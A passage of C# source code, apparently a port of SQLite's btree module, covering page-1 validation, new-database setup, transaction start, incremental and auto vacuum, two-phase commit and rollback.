BTREE_AUTOVACUUM_INCR ); sqlite3BtreeLeave(p); return rc; #endif } /* ** Get a reference to pPage1 of the database file. This will ** also acquire a readlock on that file. ** ** SQLITE_OK is returned on success. If the file is not a ** well-formed database file, then SQLITE_CORRUPT is returned. ** SQLITE_BUSY is returned if the database is locked. SQLITE_NOMEM ** is returned if we run out of memory. */ static int lockBtree(BtShared pBt) { int rc; MemPage pPage1 = new MemPage(); int nPage = 0; Debug.Assert(sqlite3_mutex_held(pBt.mutex)); Debug.Assert(pBt.pPage1 == null); rc = sqlite3PagerSharedLock(pBt.pPager); if (rc != SQLITE_OK) return rc; rc = btreeGetPage(pBt, 1, ref pPage1, 0); if (rc != SQLITE_OK) return rc; /* Do some checking to help insure the file we opened really is ** a valid database file. */ rc = sqlite3PagerPagecount(pBt.pPager, ref nPage); if (rc != SQLITE_OK) { goto page1_init_failed; } else if (nPage > 0) { int pageSize; int usableSize; u8[] page1 = pPage1.aData; rc = SQLITE_NOTADB; if (memcmp(page1, zMagicHeader, 16) != 0) { goto page1_init_failed; } if (page1[18] > 1) { pBt.readOnly = true; } if (page1[19] > 1) { goto page1_init_failed; } /* The maximum embedded fraction must be exactly 25%. And the minimum ** embedded fraction must be 12.5% for both leaf-data and non-leaf-data. ** The original design allowed these amounts to vary, but as of ** version 3.6.0, we require them to be fixed. */ if (memcmp(page1, 21, "\x0040\x0020\x0020", 3) != 0)// "\100\040\040" { goto page1_init_failed; } pageSize = get2byte(page1, 16); if (((pageSize - 1) & pageSize) != 0 || pageSize < 512 || (SQLITE_MAX_PAGE_SIZE < 32768 && pageSize > SQLITE_MAX_PAGE_SIZE) ) { goto page1_init_failed; } Debug.Assert((pageSize & 7) == 0); usableSize = pageSize - page1[20]; if (pageSize != pBt.pageSize) { /* After reading the first page of the database assuming a page size ** of BtShared.pageSize, we have discovered that the page-size is ** actually pageSize. Unlock the database, leave pBt.pPage1 at ** zero and return SQLITE_OK. The caller will call this function ** again with the correct page-size. */ releasePage(pPage1); pBt.usableSize = (u16)usableSize; pBt.pageSize = (u16)pageSize; // freeTempSpace(pBt); rc = sqlite3PagerSetPagesize(pBt.pPager, ref pBt.pageSize, pageSize - usableSize); return rc; } if (usableSize < 480) { goto page1_init_failed; } pBt.pageSize = (u16)pageSize; pBt.usableSize = (u16)usableSize; #if !SQLITE_OMIT_AUTOVACUUM pBt.autoVacuum = (sqlite3Get4byte(page1, 36 + 4 * 4) != 0); pBt.incrVacuum = (sqlite3Get4byte(page1, 36 + 7 * 4) != 0); #endif } /* maxLocal is the maximum amount of payload to store locally for ** a cell. Make sure it is small enough so that at least minFanout ** cells can will fit on one page. We assume a 10-byte page header. ** Besides the payload, the cell must store: ** 2-byte pointer to the cell ** 4-byte child pointer ** 9-byte nKey value ** 4-byte nData value ** 4-byte overflow page pointer ** So a cell consists of a 2-byte poiner, a header which is as much as ** 17 bytes long, 0 to N bytes of payload, and an optional 4 byte overflow ** page pointer. */ pBt.maxLocal = (u16)((pBt.usableSize - 12) * 64 / 255 - 23); pBt.minLocal = (u16)((pBt.usableSize - 12) * 32 / 255 - 23); pBt.maxLeaf = (u16)(pBt.usableSize - 35); pBt.minLeaf = (u16)((pBt.usableSize - 12) * 32 / 255 - 23); Debug.Assert(pBt.maxLeaf + 23 <= MX_CELL_SIZE(pBt)); pBt.pPage1 = pPage1; return SQLITE_OK; page1_init_failed: releasePage(pPage1); pBt.pPage1 = null; return rc; } /* ** If there are no outstanding cursors and we are not in the middle ** of a transaction but there is a read lock on the database, then ** this routine unrefs the first page of the database file which ** has the effect of releasing the read lock. ** ** If there is a transaction in progress, this routine is a no-op. */ static void unlockBtreeIfUnused(BtShared pBt) { Debug.Assert(sqlite3_mutex_held(pBt.mutex)); Debug.Assert(pBt.pCursor == null || pBt.inTransaction > TRANS_NONE); if (pBt.inTransaction == TRANS_NONE && pBt.pPage1 != null) { Debug.Assert(pBt.pPage1.aData != null); Debug.Assert(sqlite3PagerRefcount(pBt.pPager) == 1); Debug.Assert(pBt.pPage1.aData != null); releasePage(pBt.pPage1); pBt.pPage1 = null; } } /* ** If pBt points to an empty file then convert that empty file ** into a new empty database by initializing the first page of ** the database. */ static int newDatabase(BtShared pBt) { MemPage pP1; byte[] data; int rc; int nPage = 0; Debug.Assert(sqlite3_mutex_held(pBt.mutex)); /* The database size has already been measured and cached, so failure ** is impossible here. If the original size measurement failed, then ** processing aborts before entering this routine. */ rc = sqlite3PagerPagecount(pBt.pPager, ref nPage); if (NEVER(rc != SQLITE_OK) || nPage > 0) { return rc; } pP1 = pBt.pPage1; Debug.Assert(pP1 != null); data = pP1.aData; rc = sqlite3PagerWrite(pP1.pDbPage); if (rc != 0) return rc; Buffer.BlockCopy(Encoding.UTF8.GetBytes(zMagicHeader), 0, data, 0, 16);// memcpy(data, zMagicHeader, sizeof(zMagicHeader)); Debug.Assert(zMagicHeader.Length == 16); put2byte(data, 16, pBt.pageSize); data[18] = 1; data[19] = 1; Debug.Assert(pBt.usableSize <= pBt.pageSize && pBt.usableSize + 255 >= pBt.pageSize); data[20] = (u8)(pBt.pageSize - pBt.usableSize); data[21] = 64; data[22] = 32; data[23] = 32; //memset(&data[24], 0, 100-24); zeroPage(pP1, PTF_INTKEY | PTF_LEAF | PTF_LEAFDATA); pBt.pageSizeFixed = true; #if !SQLITE_OMIT_AUTOVACUUM Debug.Assert(pBt.autoVacuum == true || pBt.autoVacuum == false); Debug.Assert(pBt.incrVacuum == true || pBt.incrVacuum == false); sqlite3Put4byte(data, 36 + 4 * 4, pBt.autoVacuum ? 1 : 0); sqlite3Put4byte(data, 36 + 7 * 4, pBt.incrVacuum ? 1 : 0); #endif return SQLITE_OK; } /* ** Attempt to start a new transaction. A write-transaction ** is started if the second argument is nonzero, otherwise a read- ** transaction. If the second argument is 2 or more and exclusive ** transaction is started, meaning that no other process is allowed ** to access the database. A preexisting transaction may not be ** upgraded to exclusive by calling this routine a second time - the ** exclusivity flag only works for a new transaction. ** ** A write-transaction must be started before attempting any ** changes to the database. None of the following routines ** will work unless a transaction is started first: ** ** sqlite3BtreeCreateTable() ** sqlite3BtreeCreateIndex() ** sqlite3BtreeClearTable() ** sqlite3BtreeDropTable() ** sqlite3BtreeInsert() ** sqlite3BtreeDelete() ** sqlite3BtreeUpdateMeta() ** ** If an initial attempt to acquire the lock fails because of lock contention ** and the database was previously unlocked, then invoke the busy handler ** if there is one. But if there was previously a read-lock, do not ** invoke the busy handler - just return SQLITE_BUSY. SQLITE_BUSY is ** returned when there is already a read-lock in order to avoid a deadlock. ** ** Suppose there are two processes A and B. A has a read lock and B has ** a reserved lock. B tries to promote to exclusive but is blocked because ** of A's read lock. A tries to promote to reserved but is blocked by B. ** One or the other of the two processes must give way or there can be ** no progress. By returning SQLITE_BUSY and not invoking the busy callback ** when A already has a read lock, we encourage A to give up and let B ** proceed. */ static int sqlite3BtreeBeginTrans(Btree p, int wrflag) { BtShared pBt = p.pBt; int rc = SQLITE_OK; sqlite3BtreeEnter(p); btreeIntegrity(p); /* If the btree is already in a write-transaction, or it ** is already in a read-transaction and a read-transaction ** is requested, this is a no-op. */ if (p.inTrans == TRANS_WRITE || (p.inTrans == TRANS_READ && 0 == wrflag)) { goto trans_begun; } /* Write transactions are not possible on a read-only database */ if (pBt.readOnly && wrflag != 0) { rc = SQLITE_READONLY; goto trans_begun; } #if !SQLITE_OMIT_SHARED_CACHE /* If another database handle has already opened a write transaction ** on this shared-btree structure and a second write transaction is ** requested, return SQLITE_LOCKED. */ if( (wrflag && pBt.inTransaction==TRANS_WRITE) || pBt.isPending ){ sqlite3 pBlock = pBt.pWriter.db; }else if( wrflag>1 ){ BtLock pIter; for(pIter=pBt.pLock; pIter; pIter=pIter.pNext){ if( pIter.pBtree!=p ){ pBlock = pIter.pBtree.db; break; } } } if( pBlock ){ sqlite3ConnectionBlocked(p.db, pBlock); rc = SQLITE_LOCKED_SHAREDCACHE; goto trans_begun; } #endif /* Any read-only or read-write transaction implies a read-lock on ** page 1. So if some other shared-cache client already has a write-lock ** on page 1, the transaction cannot be opened. */ rc = querySharedCacheTableLock(p, MASTER_ROOT, READ_LOCK); if (SQLITE_OK != rc) goto trans_begun; do { /* Call lockBtree() until either pBt.pPage1 is populated or ** lockBtree() returns something other than SQLITE_OK. lockBtree() ** may return SQLITE_OK but leave pBt.pPage1 set to 0 if after ** reading page 1 it discovers that the page-size of the database ** file is not pBt.pageSize. In this case lockBtree() will update ** pBt.pageSize to the page-size of the file on disk. */ while (pBt.pPage1 == null && SQLITE_OK == (rc = lockBtree(pBt))) ; if (rc == SQLITE_OK && wrflag != 0) { if (pBt.readOnly) { rc = SQLITE_READONLY; } else { rc = sqlite3PagerBegin(pBt.pPager, wrflag > 1, sqlite3TempInMemory(p.db) ? 1 : 0); if (rc == SQLITE_OK) { rc = newDatabase(pBt); } } } if (rc != SQLITE_OK) { unlockBtreeIfUnused(pBt); } } while (rc == SQLITE_BUSY && pBt.inTransaction == TRANS_NONE && btreeInvokeBusyHandler(pBt) != 0); if (rc == SQLITE_OK) { if (p.inTrans == TRANS_NONE) { pBt.nTransaction++; #if !SQLITE_OMIT_SHARED_CACHE if( p.sharable ){ Debug.Assert( p.lock.pBtree==p && p.lock.iTable==1 ); p.lock.eLock = READ_LOCK; p.lock.pNext = pBt.pLock; pBt.pLock = &p.lock; } #endif } p.inTrans = (wrflag != 0 ? TRANS_WRITE : TRANS_READ); if (p.inTrans > pBt.inTransaction) { pBt.inTransaction = p.inTrans; } #if !SQLITE_OMIT_SHARED_CACHE if( wrflag ){ Debug.Assert( !pBt.pWriter ); pBt.pWriter = p; pBt.isExclusive = (u8)(wrflag>1); } #endif } trans_begun: if (rc == SQLITE_OK && wrflag != 0) { /* This call makes sure that the pager has the correct number of ** open savepoints. If the second parameter is greater than 0 and ** the sub-journal is not already open, then it will be opened here. */ rc = sqlite3PagerOpenSavepoint(pBt.pPager, p.db.nSavepoint); } btreeIntegrity(p); sqlite3BtreeLeave(p); return rc; } #if !SQLITE_OMIT_AUTOVACUUM /* ** Set the pointer-map entries for all children of page pPage. Also, if ** pPage contains cells that point to overflow pages, set the pointer ** map entries for the overflow pages as well. */ static int setChildPtrmaps(MemPage pPage) { int i; /* Counter variable */ int nCell; /* Number of cells in page pPage */ int rc; /* Return code */ BtShared pBt = pPage.pBt; u8 isInitOrig = pPage.isInit; Pgno pgno = pPage.pgno; Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); rc = btreeInitPage(pPage); if (rc != SQLITE_OK) { goto set_child_ptrmaps_out; } nCell = pPage.nCell; for (i = 0; i < nCell; i++) { int pCell = findCell(pPage, i); ptrmapPutOvflPtr(pPage, pCell, ref rc); if (0 == pPage.leaf) { Pgno childPgno = sqlite3Get4byte(pPage.aData, pCell); ptrmapPut(pBt, childPgno, PTRMAP_BTREE, pgno, ref rc); } } if (0 == pPage.leaf) { Pgno childPgno = sqlite3Get4byte(pPage.aData, pPage.hdrOffset + 8); ptrmapPut(pBt, childPgno, PTRMAP_BTREE, pgno, ref rc); } set_child_ptrmaps_out: pPage.isInit = isInitOrig; return rc; } /* ** Somewhere on pPage is a pointer to page iFrom. Modify this pointer so ** that it points to iTo. Parameter eType describes the type of pointer to ** be modified, as follows: ** ** PTRMAP_BTREE: pPage is a btree-page. The pointer points at a child ** page of pPage. ** ** PTRMAP_OVERFLOW1: pPage is a btree-page. The pointer points at an overflow ** page pointed to by one of the cells on pPage. ** ** PTRMAP_OVERFLOW2: pPage is an overflow-page. The pointer points at the next ** overflow page in the list. */ static int modifyPagePointer(MemPage pPage, Pgno iFrom, Pgno iTo, u8 eType) { Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); if (eType == PTRMAP_OVERFLOW2) { /* The pointer is always the first 4 bytes of the page in this case. */ if (sqlite3Get4byte(pPage.aData) != iFrom) { #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } sqlite3Put4byte(pPage.aData, iTo); } else { u8 isInitOrig = pPage.isInit; int i; int nCell; btreeInitPage(pPage); nCell = pPage.nCell; for (i = 0; i < nCell; i++) { int pCell = findCell(pPage, i); if (eType == PTRMAP_OVERFLOW1) { CellInfo info = new CellInfo(); btreeParseCellPtr( pPage, pCell, ref info ); if (info.iOverflow != 0) { if (iFrom == sqlite3Get4byte(pPage.aData, pCell, info.iOverflow)) { sqlite3Put4byte(pPage.aData, pCell + info.iOverflow, (int)iTo); break; } } } else { if (sqlite3Get4byte(pPage.aData, pCell) == iFrom) { sqlite3Put4byte(pPage.aData, pCell, (int)iTo); break; } } } if (i == nCell) { if (eType != PTRMAP_BTREE || sqlite3Get4byte(pPage.aData, pPage.hdrOffset + 8) != iFrom) { #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } sqlite3Put4byte(pPage.aData, pPage.hdrOffset + 8, iTo); } pPage.isInit = isInitOrig; } return SQLITE_OK; } /* ** Move the open database page pDbPage to location iFreePage in the ** database. The pDbPage reference remains valid. ** ** The isCommit flag indicates that there is no need to remember that ** the journal needs to be sync()ed before database page pDbPage.pgno ** can be written to. The caller has already promised not to write to that ** page. */ static int relocatePage( BtShared pBt, /* Btree */ MemPage pDbPage, /* Open page to move */ u8 eType, /* Pointer map 'type' entry for pDbPage */ Pgno iPtrPage, /* Pointer map 'page-no' entry for pDbPage */ Pgno iFreePage, /* The location to move pDbPage to */ int isCommit /* isCommit flag passed to sqlite3PagerMovepage */ ) { MemPage pPtrPage = new MemPage(); /* The page that contains a pointer to pDbPage */ Pgno iDbPage = pDbPage.pgno; Pager pPager = pBt.pPager; int rc; Debug.Assert(eType == PTRMAP_OVERFLOW2 || eType == PTRMAP_OVERFLOW1 || eType == PTRMAP_BTREE || eType == PTRMAP_ROOTPAGE); Debug.Assert(sqlite3_mutex_held(pBt.mutex)); Debug.Assert(pDbPage.pBt == pBt); /* Move page iDbPage from its current location to page number iFreePage */ TRACE("AUTOVACUUM: Moving %d to free page %d (ptr page %d type %d)\n", iDbPage, iFreePage, iPtrPage, eType); rc = sqlite3PagerMovepage(pPager, pDbPage.pDbPage, iFreePage, isCommit); if (rc != SQLITE_OK) { return rc; } pDbPage.pgno = iFreePage; /* If pDbPage was a btree-page, then it may have child pages and/or cells ** that point to overflow pages. The pointer map entries for all these ** pages need to be changed. ** ** If pDbPage is an overflow page, then the first 4 bytes may store a ** pointer to a subsequent overflow page. If this is the case, then ** the pointer map needs to be updated for the subsequent overflow page. */ if (eType == PTRMAP_BTREE || eType == PTRMAP_ROOTPAGE) { rc = setChildPtrmaps(pDbPage); if (rc != SQLITE_OK) { return rc; } } else { Pgno nextOvfl = sqlite3Get4byte(pDbPage.aData); if (nextOvfl != 0) { ptrmapPut(pBt, nextOvfl, PTRMAP_OVERFLOW2, iFreePage, ref rc); if (rc != SQLITE_OK) { return rc; } } } /* Fix the database pointer on page iPtrPage that pointed at iDbPage so ** that it points at iFreePage. Also fix the pointer map entry for ** iPtrPage. */ if (eType != PTRMAP_ROOTPAGE) { rc = btreeGetPage(pBt, iPtrPage, ref pPtrPage, 0); if (rc != SQLITE_OK) { return rc; } rc = sqlite3PagerWrite(pPtrPage.pDbPage); if (rc != SQLITE_OK) { releasePage(pPtrPage); return rc; } rc = modifyPagePointer(pPtrPage, iDbPage, iFreePage, eType); releasePage(pPtrPage); if (rc == SQLITE_OK) { ptrmapPut(pBt, iFreePage, eType, iPtrPage, ref rc); } } return rc; } /* Forward declaration required by incrVacuumStep(). */ //static int allocateBtreePage(BtShared *, MemPage **, Pgno *, Pgno, u8); /* ** Perform a single step of an incremental-vacuum. If successful, ** return SQLITE_OK. If there is no work to do (and therefore no ** point in calling this function again), return SQLITE_DONE. ** ** More specificly, this function attempts to re-organize the ** database so that the last page of the file currently in use ** is no longer in use. ** ** If the nFin parameter is non-zero, this function assumes ** that the caller will keep calling incrVacuumStep() until ** it returns SQLITE_DONE or an error, and that nFin is the ** number of pages the database file will contain after this ** process is complete. If nFin is zero, it is assumed that ** incrVacuumStep() will be called a finite amount of times ** which may or may not empty the freelist. A full autovacuum ** has nFin>0. A "PRAGMA incremental_vacuum" has nFin==null. */ static int incrVacuumStep(BtShared pBt, Pgno nFin, Pgno iLastPg) { Pgno nFreeList; /* Number of pages still on the free-list */ Debug.Assert(sqlite3_mutex_held(pBt.mutex)); Debug.Assert(iLastPg > nFin); if (!PTRMAP_ISPAGE(pBt, iLastPg) && iLastPg != PENDING_BYTE_PAGE(pBt)) { int rc; u8 eType = 0; Pgno iPtrPage = 0; nFreeList = sqlite3Get4byte(pBt.pPage1.aData, 36); if (nFreeList == 0) { return SQLITE_DONE; } rc = ptrmapGet(pBt, iLastPg, ref eType, ref iPtrPage); if (rc != SQLITE_OK) { return rc; } if (eType == PTRMAP_ROOTPAGE) { #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } if (eType == PTRMAP_FREEPAGE) { if (nFin == 0) { /* Remove the page from the files free-list. This is not required ** if nFin is non-zero. In that case, the free-list will be ** truncated to zero after this function returns, so it doesn't ** matter if it still contains some garbage entries. */ Pgno iFreePg = 0; MemPage pFreePg = new MemPage(); rc = allocateBtreePage(pBt, ref pFreePg, ref iFreePg, iLastPg, 1); if (rc != SQLITE_OK) { return rc; } Debug.Assert(iFreePg == iLastPg); releasePage(pFreePg); } } else { Pgno iFreePg = 0; /* Index of free page to move pLastPg to */ MemPage pLastPg = new MemPage(); rc = btreeGetPage(pBt, iLastPg, ref pLastPg, 0); if (rc != SQLITE_OK) { return rc; } /* If nFin is zero, this loop runs exactly once and page pLastPg ** is swapped with the first free page pulled off the free list. ** ** On the other hand, if nFin is greater than zero, then keep ** looping until a free-page located within the first nFin pages ** of the file is found. */ do { MemPage pFreePg = new MemPage(); rc = allocateBtreePage(pBt, ref pFreePg, ref iFreePg, 0, 0); if (rc != SQLITE_OK) { releasePage(pLastPg); return rc; } releasePage(pFreePg); } while (nFin != 0 && iFreePg > nFin); Debug.Assert(iFreePg < iLastPg); rc = sqlite3PagerWrite(pLastPg.pDbPage); if (rc == SQLITE_OK) { rc = relocatePage(pBt, pLastPg, eType, iPtrPage, iFreePg, (nFin != 0) ? 1 : 0); } releasePage(pLastPg); if (rc != SQLITE_OK) { return rc; } } } if (nFin == 0) { iLastPg--; while (iLastPg == PENDING_BYTE_PAGE(pBt) || PTRMAP_ISPAGE(pBt, iLastPg)) { if (PTRMAP_ISPAGE(pBt, iLastPg)) { MemPage pPg = new MemPage(); int rc = btreeGetPage(pBt, iLastPg, ref pPg, 0); if (rc != SQLITE_OK) { return rc; } rc = sqlite3PagerWrite(pPg.pDbPage); releasePage(pPg); if (rc != SQLITE_OK) { return rc; } } iLastPg--; } sqlite3PagerTruncateImage(pBt.pPager, iLastPg); } return SQLITE_OK; } /* ** A write-transaction must be opened before calling this function. ** It performs a single unit of work towards an incremental vacuum. ** ** If the incremental vacuum is finished after this function has run, ** SQLITE_DONE is returned. If it is not finished, but no error occurred, ** SQLITE_OK is returned. Otherwise an SQLite error code. */ static int sqlite3BtreeIncrVacuum(Btree p) { int rc; BtShared pBt = p.pBt; sqlite3BtreeEnter(p); Debug.Assert(pBt.inTransaction == TRANS_WRITE && p.inTrans == TRANS_WRITE); if (!pBt.autoVacuum) { rc = SQLITE_DONE; } else { invalidateAllOverflowCache(pBt); rc = incrVacuumStep(pBt, 0, pagerPagecount(pBt)); } sqlite3BtreeLeave(p); return rc; } /* ** This routine is called prior to sqlite3PagerCommit when a transaction ** is commited for an auto-vacuum database. ** ** If SQLITE_OK is returned, then pnTrunc is set to the number of pages ** the database file should be truncated to during the commit process. ** i.e. the database has been reorganized so that only the first pnTrunc ** pages are in use. */ static int autoVacuumCommit(BtShared pBt) { int rc = SQLITE_OK; Pager pPager = pBt.pPager; // VVA_ONLY( int nRef = sqlite3PagerRefcount(pPager) ); #if !NDEBUG || DEBUG int nRef = sqlite3PagerRefcount(pPager); #else int nRef=0; #endif Debug.Assert(sqlite3_mutex_held(pBt.mutex)); invalidateAllOverflowCache(pBt); Debug.Assert(pBt.autoVacuum); if (!pBt.incrVacuum) { Pgno nFin; /* Number of pages in database after autovacuuming */ Pgno nFree; /* Number of pages on the freelist initially */ Pgno nPtrmap; /* Number of PtrMap pages to be freed */ Pgno iFree; /* The next page to be freed */ int nEntry; /* Number of entries on one ptrmap page */ Pgno nOrig; /* Database size before freeing */ nOrig = pagerPagecount(pBt); if (PTRMAP_ISPAGE(pBt, nOrig) || nOrig == PENDING_BYTE_PAGE(pBt)) { /* It is not possible to create a database for which the final page ** is either a pointer-map page or the pending-byte page. If one ** is encountered, this indicates corruption. */ #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } nFree = sqlite3Get4byte(pBt.pPage1.aData, 36); nEntry = pBt.usableSize / 5; nPtrmap = (Pgno)(( nFree - nOrig + PTRMAP_PAGENO( pBt, nOrig ) + (Pgno)nEntry ) / nEntry); nFin = nOrig - nFree - nPtrmap; if (nOrig > PENDING_BYTE_PAGE(pBt) && nFin < PENDING_BYTE_PAGE(pBt)) { nFin--; } while (PTRMAP_ISPAGE(pBt, nFin) || nFin == PENDING_BYTE_PAGE(pBt)) { nFin--; } if (nFin > nOrig) #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif for (iFree = nOrig; iFree > nFin && rc == SQLITE_OK; iFree--) { rc = incrVacuumStep(pBt, nFin, iFree); } if ((rc == SQLITE_DONE || rc == SQLITE_OK) && nFree > 0) { rc = SQLITE_OK; rc = sqlite3PagerWrite(pBt.pPage1.pDbPage); sqlite3Put4byte(pBt.pPage1.aData, 32, 0); sqlite3Put4byte(pBt.pPage1.aData, 36, 0); sqlite3PagerTruncateImage(pBt.pPager, nFin); } if (rc != SQLITE_OK) { sqlite3PagerRollback(pPager); } } Debug.Assert(nRef == sqlite3PagerRefcount(pPager)); return rc; } #else //* ifndef SQLITE_OMIT_AUTOVACUUM */ //# define setChildPtrmaps(x) SQLITE_OK #endif /* ** This routine does the first phase of a two-phase commit. This routine ** causes a rollback journal to be created (if it does not already exist) ** and populated with enough information so that if a power loss occurs ** the database can be restored to its original state by playing back ** the journal. Then the contents of the journal are flushed out to ** the disk. After the journal is safely on oxide, the changes to the ** database are written into the database file and flushed to oxide. ** At the end of this call, the rollback journal still exists on the ** disk and we are still holding all locks, so the transaction has not ** committed. See sqlite3BtreeCommitPhaseTwo() for the second phase of the ** commit process. ** ** This call is a no-op if no write-transaction is currently active on pBt. ** ** Otherwise, sync the database file for the btree pBt. zMaster points to ** the name of a master journal file that should be written into the ** individual journal file, or is NULL, indicating no master journal file ** (single database transaction). ** ** When this is called, the master journal should already have been ** created, populated with this journal pointer and synced to disk. ** ** Once this is routine has returned, the only thing required to commit ** the write-transaction for this database file is to delete the journal. */ static int sqlite3BtreeCommitPhaseOne(Btree p, string zMaster) { int rc = SQLITE_OK; if (p.inTrans == TRANS_WRITE) { BtShared pBt = p.pBt; sqlite3BtreeEnter(p); #if !SQLITE_OMIT_AUTOVACUUM if (pBt.autoVacuum) { rc = autoVacuumCommit(pBt); if (rc != SQLITE_OK) { sqlite3BtreeLeave(p); return rc; } } #endif rc = sqlite3PagerCommitPhaseOne(pBt.pPager, zMaster, false); sqlite3BtreeLeave(p); } return rc; } /* ** This function is called from both BtreeCommitPhaseTwo() and BtreeRollback() ** at the conclusion of a transaction. */ static void btreeEndTransaction(Btree p) { BtShared pBt = p.pBt; BtCursor pCsr; Debug.Assert(sqlite3BtreeHoldsMutex(p)); /* Search for a cursor held open by this b-tree connection. If one exists, ** then the transaction will be downgraded to a read-only transaction ** instead of actually concluded. A subsequent call to CommitPhaseTwo() ** or Rollback() will finish the transaction and unlock the database. */ for (pCsr = pBt.pCursor; pCsr != null && pCsr.pBtree != p; pCsr = pCsr.pNext) ; Debug.Assert(pCsr == null || p.inTrans > TRANS_NONE); btreeClearHasContent(pBt); if (pCsr != null) { downgradeAllSharedCacheTableLocks(p); p.inTrans = TRANS_READ; } else { /* If the handle had any kind of transaction open, decrement the ** transaction count of the shared btree. If the transaction count ** reaches 0, set the shared state to TRANS_NONE. The unlockBtreeIfUnused() ** call below will unlock the pager. */ if (p.inTrans != TRANS_NONE) { clearAllSharedCacheTableLocks(p); pBt.nTransaction--; if (0 == pBt.nTransaction) { pBt.inTransaction = TRANS_NONE; } } /* Set the current transaction state to TRANS_NONE and unlock the ** pager if this call closed the only read or write transaction. */ p.inTrans = TRANS_NONE; unlockBtreeIfUnused(pBt); } btreeIntegrity(p); } /* ** Commit the transaction currently in progress. ** ** This routine implements the second phase of a 2-phase commit. The ** sqlite3BtreeCommitPhaseOne() routine does the first phase and should ** be invoked prior to calling this routine. The sqlite3BtreeCommitPhaseOne() ** routine did all the work of writing information out to disk and flushing the ** contents so that they are written onto the disk platter. All this ** routine has to do is delete or truncate or zero the header in the ** the rollback journal (which causes the transaction to commit) and ** drop locks. ** ** This will release the write lock on the database file. If there ** are no active cursors, it also releases the read lock. */ static int sqlite3BtreeCommitPhaseTwo(Btree p) { BtShared pBt = p.pBt; sqlite3BtreeEnter(p); btreeIntegrity(p); /* If the handle has a write-transaction open, commit the shared-btrees ** transaction and set the shared state to TRANS_READ. */ if (p.inTrans == TRANS_WRITE) { int rc; Debug.Assert(pBt.inTransaction == TRANS_WRITE); Debug.Assert(pBt.nTransaction > 0); rc = sqlite3PagerCommitPhaseTwo(pBt.pPager); if (rc != SQLITE_OK) { sqlite3BtreeLeave(p); return rc; } pBt.inTransaction = TRANS_READ; } btreeEndTransaction(p); sqlite3BtreeLeave(p); return SQLITE_OK; } /* ** Do both phases of a commit. */ static int sqlite3BtreeCommit(Btree p) { int rc; sqlite3BtreeEnter(p); rc = sqlite3BtreeCommitPhaseOne(p, null); if (rc == SQLITE_OK) { rc = sqlite3BtreeCommitPhaseTwo(p); } sqlite3BtreeLeave(p); return rc; } #if !NDEBUG || DEBUG /* ** Return the number of write-cursors open on this handle. This is for use ** in Debug.Assert() expressions, so it is only compiled if NDEBUG is not ** defined. ** ** For the purposes of this routine, a write-cursor is any cursor that ** is capable of writing to the databse. That means the cursor was ** originally opened for writing and the cursor has not be disabled ** by having its state changed to CURSOR_FAULT. */ static int countWriteCursors(BtShared pBt) { BtCursor pCur; int r = 0; for (pCur = pBt.pCursor; pCur != null; pCur = pCur.pNext) { if (pCur.wrFlag != 0 && pCur.eState != CURSOR_FAULT) r++; } return r; } #else static int countWriteCursors(BtShared pBt) { return -1; } #endif /* ** This routine sets the state to CURSOR_FAULT and the error ** code to errCode for every cursor on BtShared that pBtree ** references. ** ** Every cursor is tripped, including cursors that belong ** to other database connections that happen to be sharing ** the cache with pBtree. ** ** This routine gets called when a rollback occurs. ** All cursors using the same cache must be tripped ** to prevent them from trying to use the btree after ** the rollback. The rollback may have deleted tables ** or moved root pages, so it is not sufficient to ** save the state of the cursor. The cursor must be ** invalidated. */ static void sqlite3BtreeTripAllCursors(Btree pBtree, int errCode) { BtCursor p; sqlite3BtreeEnter(pBtree); for (p = pBtree.pBt.pCursor; p != null; p = p.pNext) { int i; sqlite3BtreeClearCursor(p); p.eState = CURSOR_FAULT; p.skipNext = errCode; for (i = 0; i <= p.iPage; i++) { releasePage(p.apPage[i]); p.apPage[i] = null; } } sqlite3BtreeLeave(pBtree); } /* ** Rollback the transaction in progress. All cursors will be ** invalided by this operation. Any attempt to use a cursor ** that was open at the beginning of this operation will result ** in an error. ** ** This will release the write lock on the database file. If there ** are no active cursors, it also releases the read lock. */ static int sqlite3BtreeRollback(Btree p) { int rc; BtShared pBt = p.pBt; MemPage pPage1 = new MemPage(); sqlite3BtreeEnter(p); rc = saveAllCursors(pBt, 0, null); #if !SQLITE_OMIT_SHARED_CACHE if( rc!=SQLITE_OK ){ /* This is a horrible situation. An IO or malloc() error occurred whilst ** trying to save cursor positions. If this is an automatic rollback (as ** the result of a constraint, malloc() failure or IO error) then ** the cache may be internally inconsistent (not contain valid trees) so ** we cannot simply return the error to the caller. Instead, abort ** all queries that may be using any of the cursors that failed to save. */ sqlite3BtreeTripAllCursors(p, rc); } #endif btreeIntegrity(p); if (p.inTrans == TRANS_WRITE) { int rc2; Debug.Assert(TRANS_WRITE == pBt.inTransaction); rc2 = sqlite3PagerRollback(pBt.pPager); if (rc2 != SQLITE_OK) { rc = rc2; } /* The rollback may have destroyed the pPage1.aData value. So ** call btreeGetPage() on page 1 again to make ** sure pPage1.aData is set correctly. */ if (btreeGetPage(pBt, 1, ref pPage1, 0) == SQLITE_OK) { releasePage(pPage1); } Debug.Assert(countWriteCursors(pBt) == 0); pBt.inTransaction = TRANS_READ; } btreeEndTransaction(p); sqlite3BtreeLeave(p); return rc; } /* ** Start a statement subtransaction. The subtransaction can can be rolled ** back independently of the main transaction. You must start a transaction ** before starting a subtransaction. The subtransaction is ended automatically ** if the main transaction commits or rolls back. ** ** Statement subtransactions are used around individual SQL statements ** that are contained within a BEGIN...COMMIT block. If a constraint ** error occurs within the statement, the effect of that one statement ** can be rolled back without having to rollback the entire transaction. ** ** A statement sub-transaction is implemented as an anonymous savepoint. The ** value passed as the second parameter is the total number of savepoints, ** including the new anonymous savepoint, open on the B-Tree. i.e. if there ** are no active savepoints and no other statement-transactions open, ** iStatement is 1. This anonymous savepoint can be released or rolled back ** using the sqlite3BtreeSavepoint() function. */ static int sqlite3BtreeBeginStmt(Btree p, int iStatement) { int 